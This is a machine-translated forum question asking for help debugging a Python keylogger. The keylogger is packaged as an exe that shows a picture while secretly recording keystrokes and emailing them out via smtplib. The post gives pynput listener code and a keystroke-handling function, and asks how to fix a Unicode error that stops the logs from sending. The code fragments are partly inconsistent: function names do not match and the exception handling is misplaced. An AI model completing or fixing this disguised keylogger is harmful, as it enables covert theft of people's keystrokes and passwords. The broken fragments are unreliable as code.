TL;DR:
发现了错误,但尚未解决:
以英语输入(左侧),以希伯来语显示(右侧)
我在我的 Ubuntu 机器 (VMware) 上用python 2.7构建了一个简单的键盘记录器。创建的 exe 文件应该显示图片并在后台执行键盘记录程序。它在主机(VMware主机,未安装python)上运行,但不在我拥有的其他计算机上(也没有python)。它确实显示了图片,但无法使用 smtplib 发送电子邮件
为了处理按键,我使用了这样的 pynput:
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
和 proccess_keystrokes 是:
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
现在它不会在我的 Windows 机器上发送任何内容,除了键盘记录器已启动的第一个通知。
我也尝试从 pycharm 运行,运行几秒钟后出现以下异常:
文件“C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py”,第 855 行,在 sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii ' 编解码器无法对位置 6-11 中的字符进行编码:序数不在范围内 (128)
任何人都知道我做错了什么?如何正确解析击键?我尝试了几本手册,但找不到解决方案。
将不胜感激任何帮助,谢谢。